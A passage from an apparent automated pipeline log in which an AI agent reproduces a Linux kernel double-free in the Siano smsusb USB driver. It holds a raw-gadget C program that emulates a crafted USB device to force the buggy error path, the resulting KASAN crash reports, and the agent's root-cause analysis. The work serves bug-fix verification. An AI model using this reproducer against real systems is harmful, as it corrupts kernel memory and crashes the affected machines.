	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	char event_buf[sizeof(struct usb_raw_event) + sizeof(struct usb_ctrlrequest)];
	struct usb_raw_event *event = (struct usb_raw_event *)event_buf;
	uint8_t buf[256];

	while (1) {
		event->length = sizeof(struct usb_ctrlrequest);
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) {
			break;
		}

		if (event->type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event->type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event->data;
			char io_buf[sizeof(struct usb_raw_ep_io) + 256];
			struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
			io->ep = 0;
			io->flags = 0;
			io->length = 0;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io->length = sizeof(dev_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, &dev_desc, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io->length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, buf, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						io->length = sizeof(str_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, str_desc, io->length);
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				io->length = ctrl->wLength;
				if (io->length > 256)
					io->length = 256;
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
 Reproduced:true ReproducedBugTitle:WARNING in usb_free_urb ReproducedCrashReport:smsusb:smsusb_start_streaming: smsusb_submit_urb(...) failed
smsusb:smsusb_init_device: smsusb_start_streaming(...) failed
------------[ cut here ]------------
!PageLargeKmalloc(page)
WARNING: mm/slub.c:6724 at free_large_kmalloc+0x97/0x110 mm/slub.c:6724, CPU#0: kworker/0:3/2237
Modules linked in:
CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: usb_hub_wq hub_event
RIP: 0010:free_large_kmalloc+0x97/0x110 mm/slub.c:6724
Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
FS:  0000000000000000(0000) GS:ffff8881a49f5000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007fcfd126ee9c CR3: 0000000107b2f000 CR4: 0000000000352ef0
Call Trace:
 <TASK>
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>
]

1/1 2026/09/04 09:42 action kernel-checkouter
0m Results:
map[KernelSrc:/app/workdir/cache/src/3cfceb10090214b4fe2231e0d3ae8aa37f3d0782]

2/1 2026/09/04 09:42 action kernel-builder
21m Results:
map[KernelObj:/app/workdir/cache/build/2e5e5f872ae9e312b9c48e0b895ba43b6b3c9e8f]

3/1 2026/09/04 10:04 action codesearch-prepare
12m Results:
map[Index:codesearch-index]

4/1 2026/09/04 10:16 agent initial-researcher
5m Model:
deep-reasoning

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program for the strictly defensive purpose of verifying a bugfix.

=== TOOL SELECTION GUIDELINES ===
- When looking up C function or struct definitions, prefer codesearch-definition-source
  and codesearch-struct-layout first.
- Fall back to read-file or grepper only if symbol lookup fails or when inspecting macros,
  headers, or non-C files.

=== CRITICAL PROHIBITIONS ===
- Do NOT propose an exploit. Focus solely on minimal technical reproduction of the bug state.
- Do NOT write long explanations. Keep your analysis and strategy proposal concise.
- Do NOT assume that the target bug has already been fixed just because a git commit title
  or description mentions a similar bug or fix. Commit messages often reference related issues
  or partial fixes. Proceed with proposing a reproduction strategy regardless of historical fix commits.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: invalid-free in usb_free_urb

==================================================================
BUG: KASAN: invalid-free in urb_destroy drivers/usb/core/urb.c:25 [inline]
BUG: KASAN: invalid-free in kref_put include/linux/kref.h:65 [inline]
BUG: KASAN: invalid-free in usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
Free of addr ffff888058ab1000 by task kworker/1:1/48

CPU: 1 UID: 0 PID: 48 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Workqueue: usb_hub_wq hub_event
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report_invalid_free+0xea/0x110 mm/kasan/report.c:557
 check_slab_allocation mm/kasan/common.c:-1 [inline]
 __kasan_slab_pre_free+0x104/0x120 mm/kasan/common.c:261
 kasan_slab_pre_free include/linux/kasan.h:199 [inline]
 slab_free_hook mm/slub.c:2693 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x173/0x650 mm/slub.c:6792
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __do_kmalloc_node mm/slub.c:5414 [inline]
 __kmalloc_node_track_caller_noprof+0x4b4/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Freed by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2748 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x1c5/0x650 mm/slub.c:6792
 skb_kfree_head net/core/skbuff.c:1083 [inline]
 skb_free_head net/core/skbuff.c:1095 [inline]
 skb_release_data+0x85e/0xab0 net/core/skbuff.c:1122
 skb_release_all net/core/skbuff.c:1197 [inline]
 __kfree_skb+0x5d/0x210 net/core/skbuff.c:1211
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:817 [inline]
 nsim_dev_trap_report_work+0x7ac/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff888058ab0000, ffff888058ab1000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x58ab0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
head: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2820(GFP_ATOMIC|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 3388, tgid 3388 (kworker/u8:12), ts 77776651868
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3347 [inline]
 allocate_slab+0x7d/0x620 mm/slub.c:3462
 new_slab mm/slub.c:3513 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7410
 refill_sheaf mm/slub.c:2885 [inline]
 __pcs_replace_empty_main+0x2c8/0x6c0 mm/slub.c:4774
 alloc_from_pcs mm/slub.c:4850 [inline]
 slab_alloc_node mm/slub.c:4984 [inline]
 __do_kmalloc_node mm/slub.c:5413 [inline]
 __kmalloc_node_track_caller_noprof+0x548/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page last free pid 48 tgid 48 ts 77606871666 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_pages_ok+0xb6c/0xc60 mm/page_alloc.c:1596
 smscore_unregister_device+0x48a/0x780 drivers/media/common/siano/smscoreapi.c:1228
 smsusb_term_device+0x1a0/0x3d0 drivers/media/usb/siano/smsusb.c:349
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250

Memory state around the buggy address:
 ffff888058ab0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888058ab0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888058ab1000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                   ^
 ffff888058ab1080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888058ab1100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================

Reply:
### Root Cause Analysis

The bug is a KASAN invalid-free (use-after-free / double-free) caused by incorrect URB buffer management in the `smsusb` driver. 

During initialization, `smsusb_init_device()` allocates a large DMA `common_buffer` via `smscore_register_device()`. This buffer is then divided into smaller chunks for individual URBs. 
When submitting these URBs, `smsusb_submit_urb()` sets the `urb->transfer_buffer` to point to one of these chunks and crucially sets the `URB_FREE_BUFFER` flag:
```c
	surb->urb->transfer_flags |= URB_FREE_BUFFER;
```
This flag instructs the USB core to automatically call `kfree(urb->transfer_buffer)` when the URB is destroyed. However, because the buffer is just an offset into the larger `common_buffer` (which is managed by `smscore`), it should never be individually freed by the USB core.

If the device is disconnected or if the probe fails (e.g., `usb_submit_urb` fails), the error path `err_unregister_device` calls `smsusb_term_device()`. This function first calls `smscore_unregister_device()`, which frees the entire `common_buffer`. Immediately after, it loops through and frees the URBs via `usb_free_urb()`. 

When `urb_destroy()` is invoked, it sees the `URB_FREE_BUFFER` flag and calls `kfree()` on the `transfer_buffer`. Since the pointer points inside the already-freed `common_buffer`, this results in a double-free (for the first URB chunk) or an invalid-free (for subsequent chunks).

### Reproduction Strategy

To reproduce this bug reliably with a minimal C program, we don't even need to disconnect the device. We can intentionally craft a USB descriptor that causes `usb_submit_urb()` to fail during probe, forcing the driver into the buggy error path.

The driver expects a Bulk IN endpoint but only checks the direction (`USB_DIR_IN`). If we provide an **Interrupt** IN endpoint instead, `usb_submit_urb()` will reject the URB with `-EINVAL` due to a pipe type mismatch. This immediately triggers the cleanup path and the KASAN crash.

**Steps to reproduce (using `raw-gadget` or `Dummy HCD`):**
1. Emulate a USB device that matches the `smsusb` driver's ID table (e.g., `idVendor = 0x187f`, `idProduct = 0x0010` for Siano Stellar ROM).
2. Define a Configuration Descriptor with 1 Interface.
3. Define 2 Endpoint Descriptors for the interface:
   - **Endpoint 1 (IN):** Address `0x81`, Attributes `0x03` (Interrupt), `wMaxPacketSize = 512`. *(The Interrupt attribute is the key to failing the probe).*
   - **Endpoint 2 (OUT):** Address `0x02`, Attributes `0x02` (Bulk), `wMaxPacketSize = 512`.
4. Connect the emulated USB device.
5. The `smsusb` driver will bind to the device, allocate the `common_buffer`, and attempt to submit the first URB.
6. `usb_submit_urb()` will fail due to the Bulk vs. Interrupt mismatch.
7. The driver will jump to `err_unregister_device`, free the `common_buffer`, and then destroy the URB, triggering the invalid `kfree()` and the KASAN report.

5/2 2026/09/04 10:16 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 7393
							output: 86
							thoughts: 222
						

Thoughts:
**Debugging an Invalid Free in `usb_free_urb`**

Okay, so I've received a bug report pointing to a KASAN: `invalid-free` occurring within `usb_free_urb`. This is a serious memory corruption issue, and my immediate goal is to pinpoint the exact cause.

The call trace is quite helpful here. It indicates the crash originates in `urb_destroy`, which is called by `usb_free_urb`, and ultimately this sequence is being triggered by `smsusb_term_device`. This immediately tells me the problem likely lies within the device termination logic of the Siano USB driver.

My next step is to dive deep into the source code for `drivers/media/usb/siano/smsusb.c`. Specifically, I need to examine the functions `smsusb_term_device` and `smsusb_init_device`. I'll be looking for any potential race conditions, incorrect memory management, or double-free scenarios that could lead to `usb_free_urb` being called with an invalid `urb` pointer. I'll pay close attention to how URBs are allocated and deallocated throughout the device's lifecycle, particularly during initialization and termination. The `smsusb_init_device` function is also relevant because the way a device is initialized can often expose flaws in its termination path, or vice versa. I need to understand the complete picture of URB management to find where the reference counting or ownership might be going wrong.


6/2 2026/09/04 10:16 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_term_device]

Results:
map[SourceCode: 336:	static void smsusb_term_device(struct usb_interface *intf)
 337:	{
 338:		struct smsusb_device_t *dev = usb_get_intfdata(intf);
 339:	
 340:		if (dev) {
 341:			int i;
 342:	
 343:			dev->state = SMSUSB_DISCONNECTED;
 344:	
 345:			smsusb_stop_streaming(dev);
 346:	
 347:			/* unregister from smscore */
 348:			if (dev->coredev)
 349:				smscore_unregister_device(dev->coredev);
 350:	
 351:			for (i = 0; i < MAX_URBS; i++)
 352:				usb_free_urb(dev->surbs[i].urb);
 353:	
 354:			pr_debug("device 0x%p destroyed\n", dev);
 355:			kfree(dev);
 356:		}
 357:	
 358:		usb_set_intfdata(intf, NULL);
 359:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

7/2 2026/09/04 10:16 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_init_device]

Results:
map[SourceCode: 391:	static int smsusb_init_device(struct usb_interface *intf, int board_id)
 392:	{
 393:		struct smsdevice_params_t params;
 394:		struct smsusb_device_t *dev;
 395:		void *mdev;
 396:		int i, rc;
 397:		int align = 0;
 398:	
 399:		/* create device object */
 400:		dev = kzalloc_obj(struct smsusb_device_t);
 401:		if (!dev)
 402:			return -ENOMEM;
 403:	
 404:		memset(&params, 0, sizeof(params));
 405:		usb_set_intfdata(intf, dev);
 406:		dev->udev = interface_to_usbdev(intf);
 407:		dev->state = SMSUSB_DISCONNECTED;
 408:	
 409:		for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; i++) {
 410:			struct usb_endpoint_descriptor *desc =
 411:					&intf->cur_altsetting->endpoint[i].desc;
 412:	
 413:			if (desc->bEndpointAddress & USB_DIR_IN) {
 414:				dev->in_ep = desc->bEndpointAddress;
 415:				align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr);
 416:			} else {
 417:				dev->out_ep = desc->bEndpointAddress;
 418:			}
 419:		}
 420:	
 421:		pr_debug("in_ep = %02x, out_ep = %02x\n", dev->in_ep, dev->out_ep);
 422:		if (!dev->in_ep || !dev->out_ep || align < 0) {  /* Missing endpoints? */
 423:			smsusb_term_device(intf);
 424:			return -ENODEV;
 425:		}
 426:	
 427:		params.device_type = sms_get_board(board_id)->type;
 428:	
 429:		switch (params.device_type) {
 430:		case SMS_STELLAR:
 431:			dev->buffer_size = USB1_BUFFER_SIZE;
 432:	
 433:			params.setmode_handler = smsusb1_setmode;
 434:			params.detectmode_handler = smsusb1_detectmode;
 435:			break;
 436:		case SMS_UNKNOWN_TYPE:
 437:			pr_err("Unspecified sms device type!\n");
 438:			fallthrough;
 439:		default:
 440:			dev->buffer_size = USB2_BUFFER_SIZE;
 441:			dev->response_alignment = align;
 442:	
 443:			params.flags |= SMS_DEVICE_FAMILY2;
 444:			break;
 445:		}
 446:	
 447:		params.device = &dev->udev->dev;
 448:		params.usb_device = dev->udev;
 449:		params.buffer_size = dev->buffer_size;
 450:		params.num_buffers = MAX_BUFFERS;
 451:		params.sendrequest_handler = smsusb_sendrequest;
 452:		params.context = dev;
 453:		usb_make_path(dev->udev, params.devpath, sizeof(params.devpath));
 454:	
 455:		mdev = siano_media_device_register(dev, board_id);
 456:	
 457:		/* register in smscore */
 458:		rc = smscore_register_device(&params, &dev->coredev, 0, mdev);
 459:		if (rc < 0) {
 460:			pr_err("smscore_register_device(...) failed, rc %d\n", rc);
 461:			goto err_unregister_device;
 462:		}
 463:	
 464:		smscore_set_board_id(dev->coredev, board_id);
 465:	
 466:		dev->coredev->is_usb_device = true;
 467:	
 468:		/* initialize urbs */
 469:		for (i = 0; i < MAX_URBS; i++) {
 470:			dev->surbs[i].dev = dev;
 471:			dev->surbs[i].urb = usb_alloc_urb(0, GFP_KERNEL);
 472:			if (!dev->surbs[i].urb)
 473:				goto err_unregister_device;
 474:		}
 475:	
 476:		pr_debug("smsusb_start_streaming(...).\n");
 477:		rc = smsusb_start_streaming(dev);
 478:		if (rc < 0) {
 479:			pr_err("smsusb_start_streaming(...) failed\n");
 480:			goto err_unregister_device;
 481:		}
 482:	
 483:		dev->state = SMSUSB_ACTIVE;
 484:	
 485:		rc = smscore_start_device(dev->coredev);
 486:		if (rc < 0) {
 487:			pr_err("smscore_start_device(...) failed\n");
 488:			goto err_unregister_device;
 489:		}
 490:	
 491:		pr_debug("device 0x%p created\n", dev);
 492:	
 493:		return rc;
 494:	
 495:	err_unregister_device:
 496:		/* smsusb_term_device() frees any allocated urb. */
 497:		smsusb_term_device(intf);
 498:	#ifdef CONFIG_MEDIA_CONTROLLER_DVB
 499:		media_device_unregister(mdev);
 500:	#endif
 501:		kfree(mdev);
 502:		return rc;
 503:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

8/2 2026/09/04 10:16 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9777
							output: 44
							thoughts: 613
						

Thoughts:
**The Root of the Surb-Freeing Problem**

Okay, I think I've finally pieced together this elusive bug. It seems like the core of the issue lies within the `smsusb_term_device` function, specifically the call to `usb_free_urb(dev->surbs[i].urb)`. My initial thought was that this might be an invalid free, but let's dig deeper.

The context for `smsusb_term_device` being called is typically an error path within `smsusb_init_device`, specifically when `err_unregister_device` is invoked. Looking at `smsusb_init_device`, I see that the `dev->surbs[i].urb` structures are allocated in a loop. The critical part is this loop:

```c
	/* initialize urbs */
	for (i = 0; i < MAX_URBS; i++) {
		dev->surbs[i].dev = dev;
		dev->surbs[i].urb = usb_alloc_urb(0, GFP_KERNEL);
		if (!dev->surbs[i].urb)
			goto err_unregister_device;
	}
```

